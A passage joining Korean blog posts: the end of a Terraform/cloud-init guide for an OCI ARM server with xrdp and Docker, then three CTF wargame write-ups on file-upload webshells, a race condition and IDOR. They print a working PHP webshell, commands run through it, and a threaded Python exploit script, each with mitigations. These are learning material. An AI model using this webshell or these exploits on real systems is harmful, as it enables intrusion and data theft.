      #    실패 시 2: GitHub releases에서 .deb 직접 다운로드 → dpkg 설치
      # ════════════════════════════════════════════════════════════
      echo "=== xrdp 설치 ==="

      XRDP_OK=false

      # 1차: 기본 apt 시도
      if apt_install_with_retry xrdp; then
        XRDP_OK=true
        echo "[xrdp] apt(기본) 설치 성공"
      else
        echo "[xrdp] 기본 apt 실패 → neutrinolabs PPA 추가 후 재시도"

        # 2차: 공식 PPA 추가
        add-apt-repository -y ppa:neutrinolabs/xrdp || true
        apt-get update --fix-missing -o Acquire::Retries=3 || true

        if apt_install_with_retry xrdp; then
          XRDP_OK=true
          echo "[xrdp] PPA 설치 성공"
        else
          echo "[xrdp] PPA도 실패 → GitHub releases에서 .deb 직접 설치"

          # 3차: GitHub releases에서 최신 .deb 직접 다운로드
          # ARM64(aarch64) 대상 .deb 파일을 neutrinolabs/xrdp 공식 릴리스에서 획득
          XRDP_VER="0.10.1"
          XRDP_DEB_URL="https://github.com/neutrinolabs/xrdp/releases/download/v$${XRDP_VER}/xrdp_$${XRDP_VER}-1_arm64.deb"

          if dpkg_install_from_url "xrdp" "$XRDP_DEB_URL"; then
            XRDP_OK=true
            echo "[xrdp] .deb 직접 설치 성공"
          else
            echo "[xrdp] 모든 설치 방법 실패 → 수동 확인 필요"
            XRDP_OK=false
          fi
        fi
      fi

      # xrdp 서비스 활성화 (설치 성공 시)
      if [ "$XRDP_OK" = true ] && command -v xrdp > /dev/null 2>&1; then
        safe_systemctl enable xrdp
        safe_systemctl start xrdp
        # ssl-cert 그룹에 xrdp 추가 (TLS 인증서 접근 권한)
        usermod -aG ssl-cert xrdp 2>/dev/null \
          || adduser xrdp ssl-cert 2>/dev/null \
          || echo "[xrdp] ssl-cert 그룹 추가 실패 (무시)"
        echo "[xrdp] 서비스 활성화 완료"
      fi

      # ════════════════════════════════════════════════════════════
      # 6. RDP 접속용 비밀번호 설정
      # ════════════════════════════════════════════════════════════
      echo "ubuntu:<RDP 접속용 비밀번호>" | chpasswd \
        && echo "[passwd] ubuntu 비밀번호 설정 완료" \
        || echo "[passwd] 비밀번호 설정 실패"

      # ════════════════════════════════════════════════════════════
      # 7. Docker 설치
      #    1차: get.docker.com 공식 스크립트
      #    2차: apt docker.io (Ubuntu 공식 패키지)
      #    3차: GitHub releases에서 docker-ce .deb 직접 설치
      # ════════════════════════════════════════════════════════════
      echo "=== Docker 설치 ==="

      DOCKER_OK=false

      if command -v docker > /dev/null 2>&1; then
        DOCKER_OK=true
        echo "[docker] 이미 설치됨 → 건너뜀"
      else
        # 1차: 공식 install 스크립트
        echo "[docker] get.docker.com 스크립트 시도..."
        if curl -fsSL --retry 5 --retry-delay 10 https://get.docker.com -o /tmp/get-docker.sh \
            && sh /tmp/get-docker.sh; then
          DOCKER_OK=true
          echo "[docker] 공식 스크립트 설치 성공"
        else
          echo "[docker] 공식 스크립트 실패 → apt docker.io 시도"

          # 2차: Ubuntu 공식 패키지
          if apt_install_with_retry docker.io docker-compose-plugin; then
            DOCKER_OK=true
            echo "[docker] apt(docker.io) 설치 성공"
          else
            echo "[docker] apt 실패 → Docker CE 공식 저장소 추가 후 재시도"

            # 3차: Docker 공식 apt 저장소 직접 구성
            install -m 0755 -d /etc/apt/keyrings
            curl -fsSL https://download.docker.com/linux/ubuntu/gpg \
              | gpg --dearmor -o /etc/apt/keyrings/docker.gpg || true
            chmod a+r /etc/apt/keyrings/docker.gpg

            DISTRO_CODENAME=$(lsb_release -cs 2>/dev/null || echo "noble")
            echo \
              "deb [arch=arm64 signed-by=/etc/apt/keyrings/docker.gpg] \
              https://download.docker.com/linux/ubuntu $DISTRO_CODENAME stable" \
              > /etc/apt/sources.list.d/docker.list

            apt-get update --fix-missing -o Acquire::Retries=3 || true

            if apt_install_with_retry docker-ce docker-ce-cli containerd.io docker-compose-plugin; then
              DOCKER_OK=true
              echo "[docker] Docker CE 공식 저장소 설치 성공"
            else
              echo "[docker] 모든 방법 실패 → 수동 확인 필요"
            fi
          fi
        fi
      fi

      if [ "$DOCKER_OK" = true ] && command -v docker > /dev/null 2>&1; then
        usermod -aG docker ubuntu || true
        safe_systemctl enable docker
        safe_systemctl start docker
        echo "[docker] 완료: $(docker --version)"
      fi

      # ════════════════════════════════════════════════════════════
      # 8. 설치 완료 상태 기록
      # ════════════════════════════════════════════════════════════
      STATUS_FILE="/home/ubuntu/setup_done.txt"
      {
        echo "=== 설치 완료: $(date '+%Y-%m-%d %H:%M:%S') ==="
        echo ""
        echo "[ubuntu-desktop] $(dpkg -l ubuntu-desktop 2>/dev/null | grep '^ii' | awk '{print "installed: "$3}' || echo 'not installed')"
        echo "[xrdp]           $(systemctl is-active xrdp 2>/dev/null || echo 'not found') / $(dpkg -l xrdp 2>/dev/null | grep '^ii' | awk '{print $3}' || echo 'not installed')"
        echo "[docker]         $(docker --version 2>/dev/null || echo 'not installed')"
        echo ""
        echo "전체 로그: $LOG_FILE"
        echo ""
        echo "접속 확인 명령어 (SSH 접속 후):"
        echo "  systemctl status xrdp"
        echo "  tail -f /var/log/setup-script.log"
        echo "  tail -f /var/log/cloud-init-output.log"
      } > "$STATUS_FILE"
      chown ubuntu:ubuntu "$STATUS_FILE"

      echo "=== 스크립트 완료: $(date '+%Y-%m-%d %H:%M:%S') ==="
    EOT
    )
  }
}

# ════════════════════════════════════════════════════════════
# Outputs
# ════════════════════════════════════════════════════════════
output "instance_public_ip" {
  description = "인스턴스 공인 IP (apps/install_apps.tf의 server_ip에 입력)"
  value       = oci_core_instance.paperclip_arm.public_ip
}

output "instance_id" {
  description = "인스턴스 OCID"
  value       = oci_core_instance.paperclip_arm.id
}

제가 구성했던 포트는 다음과 같습니다.

22 - SSH 접속
443 - OpenClaw HTTPS (nginx 프록시)
3100 - Paperclip HTTP (직접 또는 내부)
3389 - RDP 원격 데스크톱
3443 - Paperclip HTTPS (nginx 프록시)
18789 -OpenClaw Gateway (원본 HTTP)

인스턴스 이미지의 OCID 찾는 방법은 다음과 같습니다.

OCI 콘솔 → 컴퓨트 → 이미지 → 플랫폼 이미지 필터 → Ubuntu 24.04 aarch64 선택 → OCID 복사

또는

oci compute image list --compartment-id <compartment_ocid> `
  --operating-system "Canonical Ubuntu" `
  --shape "VM.Standard.A1.Flex" `
  --sort-by TIMECREATED --sort-order DESC `
  --query "data[0].id" --raw-output

cloud-init 서버 초기 설정

핵심 설계 원칙은 모든 설치 단계에 3중 폴백을 적용했습니다.
OCI ARM 인스턴스는 패키지 미러 불안정이 잦아서, 한 가지 방법만 쓰면 실패 확률이 높기 때문입니다.

로그 설정: `/var/log/setup-script.log`에 전체 기록
유틸리티 함수: `apt_install_with_retry` (5회 재시도), `dpkg_install_from_url` (폴백), `safe_systemctl`
환경 변수: `DEBIAN_FRONTEND=noninteractive` (팝업 방지)
스왑: 4GB 스왑파일 생성 (메모리 부족 대비)
iptables: SSH(22), RDP(3389) 포트 열기 + 영구 저장
apt 업데이트: 5회 재시도, 의존성 자동 복구
ubuntu-desktop: GUI 데스크톱 설치 (RDP 접속용)
xrdp: RDP 서버 (1차 apt → 2차 PPA → 3차 .deb 직접 설치)
Docker: 1차 get.docker.com → 2차 apt → 3차 공식 저장소
비밀번호: ubuntu 계정 비밀번호 설정 (RDP 로그인용)

로그 확인:

# SSH 접속 후
tail -f /var/log/setup-script.log       # 커스텀 스크립트 로그
tail -f /var/log/cloud-init-output.log  # cloud-init 전체 로그
cat /home/ubuntu/setup_done.txt         # 설치 완료 요약

Terraform 실행

cd C:\oci-project\infra

# 프로바이더 다운로드
terraform init

# 변경 사항 미리 확인
terraform plan

# 인프라 생성 (VCN + 서브넷 + 인스턴스)
terraform apply

apply 완료까지 약 3-5분 소요되며.

cloud-init은 백그라운드에서 10-20분 추가 실행됩니다.

# 생성된 IP 확인

terraform output instance_public_ip

# SSH 접속 확인

ssh -i C:\Users\jh\.ssh\my_key.pem ubuntu@<IP>

기타 사항

OCI Always Free ARM 인스턴스가 안 만들어질 때

Out of capacity 에러가 뜬다면 해당 리전에 ARM 자원이 없다는 것입니다.

- 다른 Availability Domain 시도 (서울은 1개뿐이라 해당 없음)
- 시간대를 바꿔서 재시도 (새벽 시간에 자원 반납이 많음)
- shape_config에서 OCPU/메모리를 줄여서 시도 (1 OCPU / 6GB로 시작)
- 자동 재시도 스크립트 활용

iptables

OCI Ubuntu 이미지는 기본 iptables 정책이 INPUT DROP 입니다.
Security List에서 포트를 열어도 OS 레벨에서 차단되므로, 반드시 iptables도 설정해야 합니다.

# REJECT 규칙보다 앞에 ACCEPT 삽입
sudo iptables -I INPUT 1 -p tcp --dport 443 -j ACCEPT
sudo iptables-save | sudo tee /etc/iptables.rules

Terraform 상태 파일

terraform.tfstate는 로컬에 저장되므로, 이 파일이 없으면 Terraform은 기존 리소스를 인식하지 못합니다.

# .gitignore에 반드시 추가
*.tfstate
*.tfstate.backup
.terraform/

다음글은 완전 무료로 사용이 가능한
OpenClaw + Github Copilot (GPT5-mini) 모델 설치와 Paperclip 연동에 대해서 작성해보겠습니다.

9 File Upload

wogho — Wed, 22 Jan 2025 13:32:07 +0900

목표

취약한 파일 업로드 기능을 악용하여 웹셸(Webshell)을 업로드.
서버에서 명령어 실행을 통해 플래그 파일(/flag) 내용 획득.

문제 분석

파일 업로드 기능:
- 파일 업로드 기능이 적절히 검증되지 않음.
- PHP 파일과 같은 실행 가능한 파일 업로드 가능.
업로드된 파일 실행 가능:
- 업로드된 파일의 URL 경로를 통해 해당 파일을 직접 실행 가능.
플래그 파일 경로 탐색:
- /flag 파일이 서버에 존재하며, 이를 탐색 및 읽어야 함.

공격 과정

1. 웹셸 작성:

system() 함수로 서버에서 명령어를 실행.
URL 파라미터 id를 통해 명령어 전달.

<?php echo system($_GET['id']); ?>

2. 웹셸 업로드

웹셸 파일(webshells.php)을 업로드:
- 업로드된 파일의 URL:
  
  http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php

3. 플래그 파일 탐색

웹셸을 이용하여 플래그 파일 경로 탐색:

http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=find%20/%20-name%20flag*
결과:
- /flag 파일과 다른 관련 파일 경로를 확인:
  
  /flag /var/www/html/flag /sys/devices/platform/serial8250/tty/ttyS*/flags

4. 플래그 파일 읽기

웹셸을 이용해 /flag 파일의 내용을 읽음:

http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=cat%20/flag
결과:
- /flag 파일 내용 출력:
  
  K0{Y0u_Up10aded_4_Web5he11!!!}

취약점 분석

문제 원인

파일 업로드 검증 부족:
- 서버는 업로드된 파일의 확장자 및 내용을 제대로 검증하지 않음.
- PHP와 같은 실행 가능한 파일 업로드 허용.
경로 접근 제어 미비:
- 업로드된 파일이 실행 가능하며, 서버의 민감한 경로에 접근 가능.
명령어 실행 허용:
- PHP 파일에서 서버 명령어를 실행할 수 있는 system() 함수 사용.

보안 대책

1. 파일 업로드 검증 강화

화이트리스트 사용:
- 허용된 파일 확장자만 업로드 가능.
MIME 타입 검증:
- 파일의 실제 MIME 타입을 확인하여 서버에서 실행할 수 없는 형식만 허용.
파일 내용 검사:
- 파일 내용에 PHP 코드 등 실행 가능한 코드가 포함되지 않았는지 확인.

2. 업로드된 파일 실행 방지

업로드된 파일을 실행 가능한 디렉토리 외부에 저장:
- 업로드 파일 디렉토리는 웹 서버에서 실행되지 않도록 설정.

3. 서버 명령어 실행 제한

PHP 코드에서 system(), exec() 등 명령어 실행 관련 함수 비활성화.

12.3 Race condition

wogho — Wed, 22 Jan 2025 13:22:39 +0900

문제 정의

Flask 기반 웹 애플리케이션에서 /increase 엔드포인트를 익스플로잇하여 플래그 획득이 목표.
카운터 시스템:
- 초기 카운터 값은 0으로 시작.
- /increase 요청마다 카운터가 1씩 증가.
- 카운터가 15 이상일 때 플래그 반환.

공격 기법: 레이스 컨디션(Race Condition)

레이스 컨디션이란?

동시성 문제가 발생하여 두 개 이상의 요청 또는 스레드가 동일한 자원(예: 카운터 변수)에 동시에 접근.
요청 처리 간 락(Lock) 없이 동작할 경우, 변수 값이 예상과 다르게 처리되거나 비정상적으로 증가.

문제 분석

서버 동작

/increase 엔드포인트:
- 카운터 값을 1 증가.
- 0.1초 지연(sleep(0.1)) 후 값을 저장.
- 카운터 값이 15 이상일 경우 플래그 반환.
멀티스레드 환경:
- 여러 요청이 동시에 /increase로 들어오면, 0.1초 지연 중 다른 요청이 카운터에 접근 가능.
- 이로 인해 한 번의 요청으로 카운터 값이 여러 번 증가.

공격 실행 과정

1. 서버 분석

/increase 엔드포인트는 글로벌 카운터 변수에 의존하며, 0.1초의 지연이 레이스 컨디션 유발 조건.

2. 익스플로잇 코드 작성

Python의 threading 모듈을 사용해 동시 다발적으로 요청.
한 번에 16개의 요청을 보내어 레이스 컨디션 발생.

import requests
from threading import Thread

# 서버 URL
url = "http://war.knock-on.org:10015/increase"

# 요청 함수
def send_request():
    response = requests.get(url)
    if "Success" in response.text:  # 플래그 반환 확인
        print("플래그 발견: ", response.text)
    else:
        print("응답 확인: ", response.text)

# 스레드 리스트
threads = []

# 16개의 스레드를 생성하여 동시 요청
for _ in range(16):
    thread = Thread(target=send_request)
    thread.start()
    threads.append(thread)

# 모든 스레드가 완료될 때까지 대기
for thread in threads:
    thread.join()

3. 플래그 획득

16개의 스레드 요청으로 레이스 컨디션 발생:
- 카운터 값이 한 번의 요청 주기 안에 여러 번 증가.
- 예상보다 빠르게 카운터가 15 이상에 도달.
결과적으로, 서버에서 플래그 반환:

<div class="alert alert-info" role="alert"> Success!! K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!} </div>
플래그: K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!}

취약점 분석

문제 원인

락(Lock) 미사용:
- 서버는 요청 간의 데이터 충돌을 방지하기 위한 락을 구현하지 않음.
- 카운터 변수 접근이 동기화되지 않아 값이 비정상적으로 증가.
지연 함수 사용:
- sleep(0.1) 함수는 데이터 충돌 가능성을 증가.
- 요청이 처리되기 전 다른 요청이 카운터에 접근.

보안 대책

1. 데이터 동기화

락(Lock) 메커니즘:
- 요청 처리 중 변수 접근을 제한.
- Flask에서는 threading.Lock을 사용하여 자원 보호 가능.

2. 비동기 큐 사용

요청 데이터를 큐에 저장하고, 순차적으로 처리:
- Python에서는 Redis나 Celery 같은 큐 시스템 활용.

3. 요청 처리 제한

요청 간 시간 간격 조정:
- 특정 사용자가 과도한 요청을 보낼 경우 차단.
IP 기반의 Rate Limiting 적용.

결론

과정 요약

/increase 엔드포인트의 레이스 컨디션 취약점 분석.
Python threading 모듈로 동시 다발적 요청 전송.
카운터 값 비정상적 증가 유발 후 플래그 획득.

플래그

K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!}

12.2 IDOR

wogho — Wed, 22 Jan 2025 13:08:45 +0900

IDOR란?

Insecure Direct Object References (IDOR)는 웹 애플리케이션에서 발생하는 보안 취약점으로, 인증된 사용자가 다른 사용자의 데이터나 리소스에 접근할 수 있도록 허용하는 문제입니다.

취약점 특징

보통 URL, 요청 파라미터, 또는 쿠키에 포함된 식별자(ID) 값이 제대로 검증되지 않을 때 발생.
사용자가 자신의 권한 범위를 벗어나 다른 사용자의 데이터를 열람하거나 조작 가능.

문제 해결 과정

1. 회원가입 및 로그인

시작: 웹사이트에 회원가입 후 로그인.
로그인 후 개인 게시물만 확인 가능한 상태에서 취약점 여부를 조사.

2. 게시물 ID 확인

URL 분석:
- 게시물 접근 시 /post/{ID} 형태의 URL 사용:
  
  /post/11
이 구조는 ID 값이 다른 사용자의 게시물에 접근 가능하다는 가능성을 제시.

3. IDOR 취약점 확인

테스트:
- URL의 ID 값을 임의로 변경:
  
  /post/12
결과:
- 내가 작성하지 않은 다른 사용자의 게시물에 접근 가능.
- 이는 서버가 사용자의 권한을 제대로 검증하지 않는다는 것을 의미.

4. 첫 번째 게시물 접근

목표: 플래그가 포함된 게시물 찾기.
URL을 /post/1로 변경하여 첫 번째 게시물에 접근:

/post/1
결과:
- 첫 번째 게시물 본문에 플래그가 포함되어 있었음.

취약점 분석

문제 원인

권한 검증 부족:
- 서버가 요청을 처리할 때, 사용자가 해당 리소스에 접근할 권한이 있는지 확인하지 않음.
식별자 노출:
- 리소스에 대한 고유 ID가 클라이언트에게 직접 노출.

보안 대책

서버 측 권한 검증:
- 요청을 처리하기 전에 사용자가 해당 리소스에 접근할 권한이 있는지 확인.
- 예: 게시물 소유자와 요청 사용자가 동일한지 확인.
식별자 보안 강화:
- ID를 예측 불가능한 값으로 대체:
  - UUID(Universally Unique Identifier) 또는 해시 값 사용.
로깅 및 모니터링:
- 의심스러운 요청 패턴(예: ID 순차 증가 요청)을 탐지하고 대응.